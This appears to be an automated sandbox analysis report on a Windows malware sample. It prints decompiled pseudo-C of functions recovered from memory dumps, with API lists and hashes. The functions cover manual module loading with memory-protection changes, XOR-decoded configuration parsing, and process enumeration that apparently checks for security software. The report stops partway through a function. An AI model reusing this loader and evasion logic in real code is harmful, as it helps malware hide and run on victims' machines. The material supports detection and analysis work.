Opcode ID: 797134a9b1f988486b15df9cd10c437d68bca56e1d0ccba6a6193b38078adc0e
Instruction ID: 77fc3a402b1b28792d7a6ab77bf10cd6ea7ed93b7dc72413e294461ac678640d
Opcode Fuzzy Hash: 797134a9b1f988486b15df9cd10c437d68bca56e1d0ccba6a6193b38078adc0e
Instruction Fuzzy Hash: 87C048F8140310ABF620DB019C86FC57AA2B7A4789F224508F200262E8DBB920988A2D

Uniqueness

Uniqueness Score: -1.00%

Function 10001E11, Relevance: 1.3, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E10001E11(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t24;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				intOrPtr* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x1000414c;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x1000414c - 0x63698bc4 &  !( *0x1000414c - 0x63698bc4);
				_t18 = E10001A0F( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x1000414c - 0x63698bc4 &  !( *0x1000414c - 0x63698bc4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x1000414c - 0x63698bc4 &  !( *0x1000414c - 0x63698bc4), _t16 + 0x9c96647d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E1000125B(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t24 = E10001745(_t40, _t44); // executed
						_t29 = _t24;
						if(_t29 == 0) {
							_t26 = E10001179(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E10001DFC(_t42);
					L8:
					return _t29;
				}
			}

0x10001e19
0x10001e1b
0x10001e37
0x10001e48
0x10001e4f
0x10001ead
0x00000000
0x10001e51
0x10001e51
0x10001e5b
0x10001e5f
0x10001e64
0x10001e67
0x10001e6c
0x10001e70
0x10001e75
0x10001e7a
0x10001e7e
0x10001e83
0x10001e84
0x10001e88
0x10001e8d
0x10001e95
0x10001e95
0x10001e8d
0x10001e7e
0x10001e70
0x10001e97
0x10001ea0
0x10001ea4
0x10001eae
0x10001eb4
0x10001eb4

APIs

Part of subcall function 10001A0F: GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,10001E4D,?,?,?,?,?,00000002,?,10001401), ref: 10001A33
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A55
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A6B
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A81
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A97
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001AAD

Part of subcall function 1000125B: memcpy.NTDLL(?,?,?), ref: 10001288
Part of subcall function 1000125B: memcpy.NTDLL(?,?,?), ref: 100012BB

Part of subcall function 10001745: LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 1000177D

Part of subcall function 10001179: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 100011B2
Part of subcall function 10001179: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 10001227
Part of subcall function 10001179: GetLastError.KERNEL32 ref: 1000122D

GetLastError.KERNEL32(?,10001401), ref: 10001E8F

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLastProtectVirtualmemcpy$HandleLibraryLoadModule
String ID:
API String ID: 2673762927-0
Opcode ID: 0740a9f17521f8df7bbe915c9895f6c6409a621ade32a0bd2e8e166a0619371c
Instruction ID: 2043a04cbec374512fa6f71088344ccde69893edc298cb54b1ed822475c5d404
Opcode Fuzzy Hash: 0740a9f17521f8df7bbe915c9895f6c6409a621ade32a0bd2e8e166a0619371c
Instruction Fuzzy Hash: 5A112B7A700756ABE321DBA9CC80DDF77BCEF892947054129FD0197649EAB0FD0687A0

Uniqueness

Uniqueness Score: -1.00%

Function 009221CD, Relevance: 1.3, APIs: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E009221CD(void* __ecx, signed char* _a4) {
				void* _v8;
				void* _t8;
				signed short _t11;
				signed int _t12;
				signed int _t14;
				intOrPtr _t15;
				void* _t19;
				signed short* _t22;
				void* _t24;
				intOrPtr* _t27;

				_t24 = 0;
				_push(0);
				_t19 = 1;
				_t27 = 0x92d330;
				E009284D5();
				while(1) {
					_t8 = E009212D4(_a4,  &_v8); // executed
					if(_t8 == 0) {
						break;
					}
					_push(_v8);
					_t14 = 0xd;
					_t15 = E0092809F(_t14);
					if(_t15 == 0) {
						HeapFree( *0x92d238, 0, _v8);
						break;
					} else {
						 *_t27 = _t15;
						_t27 = _t27 + 4;
						_t24 = _t24 + 1;
						if(_t24 < 3) {
							continue;
						} else {
						}
					}
					L7:
					_push(1);
					E009284D5();
					if(_t19 != 0) {
						_t22 =  *0x92d338; // 0x32b9b80
						_t11 =  *_t22 & 0x0000ffff;
						if(_t11 < 0x61 || _t11 > 0x7a) {
							_t12 = _t11 & 0x0000ffff;
						} else {
							_t12 = (_t11 & 0x0000ffff) - 0x20;
						}
						 *_t22 = _t12;
					}
					return _t19;
				}
				_t19 = 0;
				goto L7;
			}

0x009221d5
0x009221d9
0x009221da
0x009221db
0x009221e0
0x009221e5
0x009221ec
0x009221f3
0x00000000
0x00000000
0x009221f5
0x009221fa
0x009221fb
0x00922202
0x0092221c
0x00000000
0x00922204
0x00922204
0x00922206
0x00922209
0x0092220d
0x00000000
0x00000000
0x0092220f
0x0092220d
0x00922224
0x00922224
0x00922226
0x0092222d
0x0092222f
0x00922235
0x0092223c
0x0092224c
0x00922244
0x00922247
0x00922247
0x0092224f
0x0092224f
0x00922258
0x00922258
0x00922222
0x00000000

APIs

Part of subcall function 009284D5: GetProcAddress.KERNEL32(36776F57,009221E5), ref: 009284F0

Part of subcall function 009212D4: RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 009212FF
Part of subcall function 009212D4: RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 00921321
Part of subcall function 009212D4: memset.NTDLL ref: 0092133B
Part of subcall function 009212D4: CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 00921379
Part of subcall function 009212D4: GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 0092138D
Part of subcall function 009212D4: FindCloseChangeNotification.KERNELBASE(00000000), ref: 009213A4
Part of subcall function 009212D4: StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 009213B0
Part of subcall function 009212D4: lstrcat.KERNEL32(?,642E2A5C), ref: 009213F1
Part of subcall function 009212D4: FindFirstFileA.KERNELBASE(?,?), ref: 00921407

Part of subcall function 0092809F: lstrlen.KERNEL32(?,00000000,0092D330,00000001,00922200,0092D00C,0092D00C,00000000,00000005,00000000,00000000,?,?,?,009296C1,009223E9), ref: 009280A8
Part of subcall function 0092809F: mbstowcs.NTDLL ref: 009280CF
Part of subcall function 0092809F: memset.NTDLL ref: 009280E1

HeapFree.KERNEL32(00000000,0092D00C,0092D00C,0092D00C,00000000,00000005,00000000,00000000,?,?,?,009296C1,009223E9,0092D00C,?,009223E9), ref: 0092221C

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: FileHeap$AllocateFindmemset$AddressChangeCloseCreateFirstFreeNotificationProcTimelstrcatlstrlenmbstowcs
String ID:
API String ID: 983081259-0
Opcode ID: 9682ee1deaa8374771b955c4e204d4d294228c6156b02167b69eb1363edcb909
Instruction ID: 1ab3dfd7bdff5a5afefdc89d505259ca32a458e488b916de172e1ec9a0b642a7
Opcode Fuzzy Hash: 9682ee1deaa8374771b955c4e204d4d294228c6156b02167b69eb1363edcb909
Instruction Fuzzy Hash: 21012835200235FAEB14AFE6FC81F6A7299EF85364F500035B954C606CDA769C42A761

Uniqueness

Uniqueness Score: -1.00%

Function 00921262, Relevance: 1.3, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00921262(void** __esi, intOrPtr _a4, unsigned int _a8, void* _a12) {
				signed short _t18;
				void* _t24;
				signed int _t26;
				signed short _t27;

				if(_a4 != 0) {
					_t18 = E00929318(_a4, _a8, _a12, __esi); // executed
					_t27 = _t18;
				} else {
					_t27 = E00926BFA(0, 0x80000002, _a8, _a12,  &_a12,  &_a8);
					if(_t27 == 0) {
						_t26 = _a8 >> 1;
						if(_t26 == 0) {
							_t27 = 2;
							HeapFree( *0x92d238, 0, _a12);
						} else {
							_t24 = _a12;
							 *(_t24 + _t26 * 2 - 2) =  *(_t24 + _t26 * 2 - 2) & _t27;
							 *__esi = _t24;
						}
					}
				}
				return _t27;
			}

0x0092126a
0x009212bf
0x009212c4
0x0092126c
0x00921286
0x0092128a
0x0092128f
0x00921291
0x009212a1
0x009212ad
0x00921293
0x00921293
0x00921296
0x0092129b
0x0092129b
0x00921291
0x0092128a
0x009212ca

APIs

HeapFree.KERNEL32(00000000,?,00000000,80000002,74B5F710,?,?,74B5F710,00000000,?,0092743A,?,004F0053,032B9388,00000000,?), ref: 009212AD

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d43c3b1a4b8b8c2c76fd5809cfd2d6719425a9fbb3d2d9bd8b74b1e1606e7bef
Instruction ID: 8e990ad9c18b995c23586603f0af7f316e543b8cbbae70f369c9e92194d2b3d9
Opcode Fuzzy Hash: d43c3b1a4b8b8c2c76fd5809cfd2d6719425a9fbb3d2d9bd8b74b1e1606e7bef
Instruction Fuzzy Hash: DB011D32140259FBCF22DF44DC01FAE3BAAEFA4360F158429FA259A164D731D931DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00922436, Relevance: 1.3, APIs: 1, Instructions: 36
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00922436(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _t15;
				intOrPtr* _t21;

				_t21 = __edi;
				_push( &_v12);
				_push(__edi);
				_v8 = 0x1d4c0;
				_t15 =  *((intOrPtr*)( *__edi + 0xe0))();
				while(1) {
					_v16 = _t15;
					Sleep(0x1f4); // executed
					if(_v12 == 4) {
						break;
					}
					if(_v8 == 0) {
						L4:
						_t15 =  *((intOrPtr*)( *_t21 + 0xe0))(_t21,  &_v12);
						continue;
					} else {
						if(_v8 <= 0x1f4) {
							_v16 = 0x80004004;
						} else {
							_v8 = _v8 - 0x1f4;
							goto L4;
						}
					}
					L8:
					return _v16;
				}
				goto L8;
			}

0x00922436
0x00922443
0x00922444
0x00922445
0x0092244c
0x0092247a
0x0092247b
0x0092247e
0x00922484
0x00000000
0x00000000
0x00922463
0x0092246d
0x00922474
0x00000000
0x00922465
0x00922468
0x00922488
0x0092246a
0x0092246a
0x00000000
0x0092246a
0x00922468
0x0092248f
0x00922495
0x00922495
0x00000000

APIs

Sleep.KERNELBASE(000001F4), ref: 0092247E

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: beca38d2d322f7eebe684913bde9bcd3838b7c44379f10d0b28b5ae3b24dc2a7
Instruction ID: a3897202ecd81390992e6e0f1bb394f4317eb9fbffb32990e897018c753c7c24
Opcode Fuzzy Hash: beca38d2d322f7eebe684913bde9bcd3838b7c44379f10d0b28b5ae3b24dc2a7
Instruction Fuzzy Hash: ADF04F71C11229FFDB00EB94D888AEDB7B8EF04344F1080AAE50263155D7B45B44DF62

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00924094, Relevance: 9.2, APIs: 6, Instructions: 223
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00924094(int* __ecx) {
				int _v8;
				void* _v12;
				void* __esi;
				signed int _t20;
				signed int _t25;
				char* _t31;
				char* _t32;
				char* _t33;
				char* _t34;
				char* _t35;
				void* _t36;
				void* _t37;
				void* _t38;
				intOrPtr _t39;
				void* _t41;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t46;
				intOrPtr _t49;
				signed int _t50;
				signed int _t55;
				void* _t57;
				void* _t58;
				signed int _t60;
				signed int _t64;
				signed int _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t85;
				intOrPtr _t102;

				_t86 = __ecx;
				_t20 =  *0x92d278; // 0x63699bc3
				if(E00928748( &_v12,  &_v8, _t20 ^ 0x8241c5a7) != 0 && _v8 >= 0x90) {
					 *0x92d2d4 = _v12;
				}
				_t25 =  *0x92d278; // 0x63699bc3
				if(E00928748( &_v12,  &_v8, _t25 ^ 0xecd84622) == 0) {
					_push(2);
					_pop(0);
					goto L60;
				} else {
					_t85 = _v12;
					if(_t85 == 0) {
						_t31 = 0;
					} else {
						_t80 =  *0x92d278; // 0x63699bc3
						_t31 = E00923F7C(_t86, _t85, _t80 ^ 0x724e87bc);
					}
					if(_t31 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t31, 0,  &_v8) != 0) {
							 *0x92d240 = _v8;
						}
					}
					if(_t85 == 0) {
						_t32 = 0;
					} else {
						_t76 =  *0x92d278; // 0x63699bc3
						_t32 = E00923F7C(_t86, _t85, _t76 ^ 0x2b40cc40);
					}
					if(_t32 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t32, 0,  &_v8) != 0) {
							 *0x92d244 = _v8;
						}
					}
					if(_t85 == 0) {
						_t33 = 0;
					} else {
						_t72 =  *0x92d278; // 0x63699bc3
						_t33 = E00923F7C(_t86, _t85, _t72 ^ 0x3b27c2e6);
					}
					if(_t33 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t33, 0,  &_v8) != 0) {
							 *0x92d248 = _v8;
						}
					}
					if(_t85 == 0) {
						_t34 = 0;
					} else {
						_t68 =  *0x92d278; // 0x63699bc3
						_t34 = E00923F7C(_t86, _t85, _t68 ^ 0x0602e249);
					}
					if(_t34 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t34, 0,  &_v8) != 0) {
							 *0x92d004 = _v8;
						}
					}
					if(_t85 == 0) {
						_t35 = 0;
					} else {
						_t64 =  *0x92d278; // 0x63699bc3
						_t35 = E00923F7C(_t86, _t85, _t64 ^ 0x3603764c);
					}
					if(_t35 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t35, 0,  &_v8) != 0) {
							 *0x92d02c = _v8;
						}
					}
					if(_t85 == 0) {
						_t36 = 0;
					} else {
						_t60 =  *0x92d278; // 0x63699bc3
						_t36 = E00923F7C(_t86, _t85, _t60 ^ 0x2cc1f2fd);
					}
					if(_t36 != 0) {
						_push(_t36);
						_t57 = 0x10;
						_t58 = E00926ED2(_t57);
						if(_t58 != 0) {
							_push(_t58);
							E0092A5D6();
						}
					}
					if(_t85 == 0) {
						_t37 = 0;
					} else {
						_t55 =  *0x92d278; // 0x63699bc3
						_t37 = E00923F7C(_t86, _t85, _t55 ^ 0xb30fc035);
					}
					if(_t37 != 0 && E00926ED2(0, _t37) != 0) {
						_t102 =  *0x92d32c; // 0x32b95b0
						E009275E9(_t102 + 4, _t53);
					}
					if(_t85 == 0) {
						_t38 = 0;
					} else {
						_t50 =  *0x92d278; // 0x63699bc3
						_t38 = E00923F7C(_t86, _t85, _t50 ^ 0x372ab5b7);
					}
					if(_t38 == 0) {
						L51:
						_t39 =  *0x92d27c; // 0x298a5a8
						_t18 = _t39 + 0x92e252; // 0x616d692f
						 *0x92d2d0 = _t18;
						goto L52;
					} else {
						_t49 = E00926ED2(0, _t38);
						 *0x92d2d0 = _t49;
						if(_t49 != 0) {
							L52:
							if(_t85 == 0) {
								_t41 = 0;
							} else {
								_t46 =  *0x92d278; // 0x63699bc3
								_t41 = E00923F7C(_t86, _t85, _t46 ^ 0xd8dc5cde);
							}
							if(_t41 == 0) {
								_t42 =  *0x92d27c; // 0x298a5a8
								_t19 = _t42 + 0x92e791; // 0x6976612e
								_t43 = _t19;
							} else {
								_t43 = E00926ED2(0, _t41);
							}
							 *0x92d340 = _t43;
							HeapFree( *0x92d238, 0, _t85);
							L60:
							return 0;
						}
						goto L51;
					}
				}
			}

0x00924094
0x00924097
0x009240b7
0x009240c5
0x009240c5
0x009240ca
0x009240e4
0x009242e2
0x009242e4
0x00000000
0x009240ea
0x009240ea
0x009240f1
0x00924107
0x009240f3
0x009240f3
0x00924100
0x00924100
0x00924111
0x00924113
0x0092411d
0x00924122
0x00924122
0x0092411d
0x00924129
0x0092413f
0x0092412b
0x0092412b
0x00924138
0x00924138
0x00924143
0x00924145
0x0092414f
0x00924154
0x00924154
0x0092414f
0x0092415b
0x00924171
0x0092415d
0x0092415d
0x0092416a
0x0092416a
0x00924175
0x00924177
0x00924181
0x00924186
0x00924186
0x00924181
0x0092418d
0x009241a3
0x0092418f
0x0092418f
0x0092419c
0x0092419c
0x009241a7
0x009241a9
0x009241b3
0x009241b8
0x009241b8
0x009241b3
0x009241bf
0x009241d5
0x009241c1
0x009241c1
0x009241ce
0x009241ce
0x009241d9
0x009241db
0x009241e5
0x009241ea
0x009241ea
0x009241e5
0x009241f1
0x00924207
0x009241f3
0x009241f3
0x00924200
0x00924200
0x0092420b
0x0092420d
0x00924210
0x00924211
0x00924218
0x0092421a
0x0092421b
0x0092421b
0x00924218
0x00924222
0x00924238
0x00924224
0x00924224
0x00924231
0x00924231
0x0092423c
0x0092424a
0x00924254
0x00924254
0x0092425b
0x00924271
0x0092425d
0x0092425d
0x0092426a
0x0092426a
0x00924275
0x00924288
0x00924288
0x0092428d
0x00924293
0x00000000
0x00924277
0x0092427a
0x00924281
0x00924286
0x00924298
0x0092429a
0x009242b0
0x0092429c
0x0092429c
0x009242a9
0x009242a9
0x009242b4
0x009242c0
0x009242c5
0x009242c5
0x009242b6
0x009242b9
0x009242b9
0x009242d3
0x009242d8
0x009242e5
0x009242e9
0x009242e9
0x00000000
0x00924286
0x00924275

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,009223DE,?,63699BC3,009223DE,?,63699BC3,00000005,0092D00C,00000008,?,009223DE), ref: 00924119
StrToIntExA.SHLWAPI(00000000,00000000,?,009223DE,?,63699BC3,009223DE,?,63699BC3,00000005,0092D00C,00000008,?,009223DE), ref: 0092414B
StrToIntExA.SHLWAPI(00000000,00000000,?,009223DE,?,63699BC3,009223DE,?,63699BC3,00000005,0092D00C,00000008,?,009223DE), ref: 0092417D
StrToIntExA.SHLWAPI(00000000,00000000,?,009223DE,?,63699BC3,009223DE,?,63699BC3,00000005,0092D00C,00000008,?,009223DE), ref: 009241AF
StrToIntExA.SHLWAPI(00000000,00000000,?,009223DE,?,63699BC3,009223DE,?,63699BC3,00000005,0092D00C,00000008,?,009223DE), ref: 009241E1
HeapFree.KERNEL32(00000000,009223DE,009223DE,?,63699BC3,009223DE,?,63699BC3,00000005,0092D00C,00000008,?,009223DE), ref: 009242D8

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: ae54efa0d3e35d1b6c9315e11226a4d8103ae66bef74bb57fcab4df1a1982a97
Instruction ID: 6aefbc03843d62cb84ed80c7a187c0c1edead3ee5995c22325e4c87a80d150c0
Opcode Fuzzy Hash: ae54efa0d3e35d1b6c9315e11226a4d8103ae66bef74bb57fcab4df1a1982a97
Instruction Fuzzy Hash: 6D6184B0B29134EAEB20EBB5FD84D6B77ED9B98300B344E25B411D711DE634DD919B20

Uniqueness

Uniqueness Score: -1.00%

Function 0092757F, Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0092757F() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x92d27c; // 0x298a5a8
						_t2 = _t9 + 0x92ee54; // 0x73617661
						_push( &_v264);
						if( *0x92d0fc() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x0092758a
0x00927594
0x00927598
0x009275a2
0x009275d3
0x009275a9
0x009275ae
0x009275bb
0x009275c4
0x009275db
0x009275c6
0x009275ce
0x00000000
0x009275ce
0x009275dc
0x009275dd
0x00000000
0x009275dd
0x00000000
0x009275d7
0x009275e3
0x009275e8

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0092758F
Process32First.KERNEL32(00000000,?), ref: 009275A2
Process32Next.KERNEL32(00000000,?), ref: 009275CE
CloseHandle.KERNEL32(00000000), ref: 009275DD

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 7d6f9ecd4f80ede1660d866e02280cd1eb0e9c5dea1221adb2aa36ce1c8bf240
Instruction ID: 00ebebe371d141a3651ad0bf81e3c52b3aea4b2c5a9e1a78279a5a94fa1795c7
Opcode Fuzzy Hash: 7d6f9ecd4f80ede1660d866e02280cd1eb0e9c5dea1221adb2aa36ce1c8bf240
Instruction Fuzzy Hash: C9F096716091359BDB30A7B6AC49EEBB6ACDBC4310F000061F915E2004EE24DD4A46A1

Uniqueness

Uniqueness Score: -1.00%

Function 10001850, Relevance: 6.0, APIs: 4, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001850() {
				void* _t1;
				long _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t8;
				void* _t12;

				_t8 =  *0x10004130;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x1000413c = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t12 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 > 0) {
						L5:
						 *0x1000412c = _t3;
						_t5 = GetCurrentProcessId();
						 *0x10004128 = _t5;
						 *0x10004130 = _t8;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x10004124 = _t6;
						if(_t6 == 0) {
							 *0x10004124 =  *0x10004124 | 0xffffffff;
						}
						return 0;
					} else {
						_t12 = _t3 - _t3;
						goto L4;
					}
				}
			}

0x10001851
0x1000185f
0x10001867
0x1000186c
0x100018be
0x100018be
0x1000186e
0x10001876
0x1000187e
0x1000187e
0x100018ba
0x100018bc
0x00000000
0x00000000
0x00000000
0x10001878
0x1000187a
0x10001880
0x10001880
0x10001885
0x10001893
0x10001898
0x1000189e
0x100018a6
0x100018ab
0x100018ad
0x100018ad
0x100018b7
0x1000187c
0x1000187c
0x00000000
0x1000187c
0x1000187a

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,1000164B,74B063F0), ref: 1000185F
GetVersion.KERNEL32 ref: 1000186E
GetCurrentProcessId.KERNEL32 ref: 10001885
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 1000189E

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: ad5392e4f8523c6bff8dabd249a7cc4530ce31fe89c4eb97e7685ee26d633860
Instruction ID: 85c0868463d14858f17c42858624fe0a32704ce5df48730f043fd2a385afc03a
Opcode Fuzzy Hash: ad5392e4f8523c6bff8dabd249a7cc4530ce31fe89c4eb97e7685ee26d633860
Instruction Fuzzy Hash: 69F0C2B06492309AF701DF68ADC57C53BE8E7097D2F028215E244D61ECDBB085818B5C

Uniqueness

Uniqueness Score: -1.00%

Function 009297F2, Relevance: 1.9, APIs: 1, Instructions: 610
COMMONCrypto

Download Yara Rule

C-Code - Quality: 50%

			E009297F2(void* __ecx, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				intOrPtr* _t226;
				signed int _t229;
				signed int _t231;
				signed int _t233;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t247;
				signed int _t249;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t274;
				signed int _t337;
				void* _t347;
				signed int _t348;
				signed int _t350;
				signed int _t352;
				signed int _t354;
				signed int _t356;
				signed int _t358;
				signed int _t360;
				signed int _t362;
				signed int _t364;
				signed int _t366;
				signed int _t375;
				signed int _t377;
				signed int _t379;
				signed int _t381;
				signed int _t383;
				intOrPtr* _t399;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t413;
				signed int _t415;
				signed int _t417;
				signed int _t419;
				signed int _t421;
				signed int _t423;
				signed int _t425;
				signed int _t427;
				signed int _t429;
				signed int _t437;
				signed int _t439;
				signed int _t441;
				signed int _t443;
				signed int _t445;
				void* _t447;
				signed int _t507;
				signed int _t598;
				signed int _t606;
				signed int _t612;
				signed int _t678;
				signed int* _t681;
				signed int _t682;
				signed int _t684;
				signed int _t689;
				signed int _t691;
				signed int _t696;
				signed int _t698;
				signed int _t717;
				signed int _t719;
				signed int _t721;
				signed int _t723;
				signed int _t725;
				signed int _t727;
				signed int _t733;
				signed int _t739;
				signed int _t741;
				signed int _t743;
				signed int _t745;
				signed int _t747;

				_t226 = _a4;
				_t347 = __ecx + 2;
				_t681 =  &_v76;
				_t447 = 0x10;
				do {
					_t274 =  *(_t347 - 1) & 0x000000ff;
					_t347 = _t347 + 4;
					 *_t681 = (0 << 0x00000008 | _t274) << 0x00000008 |  *(_t347 - 6) & 0x000000ff;
					_t681 =  &(_t681[1]);
					_t447 = _t447 - 1;
				} while (_t447 != 0);
				_t6 = _t226 + 4; // 0x14eb3fc3
				_t682 =  *_t6;
				_t7 = _t226 + 8; // 0x8d08458b
				_t407 =  *_t7;
				_t8 = _t226 + 0xc; // 0x56c1184c
				_t348 =  *_t8;
				asm("rol eax, 0x7");
				_t229 = ( !_t682 & _t348 | _t407 & _t682) + _v76 +  *_t226 - 0x28955b88 + _t682;
				asm("rol ecx, 0xc");
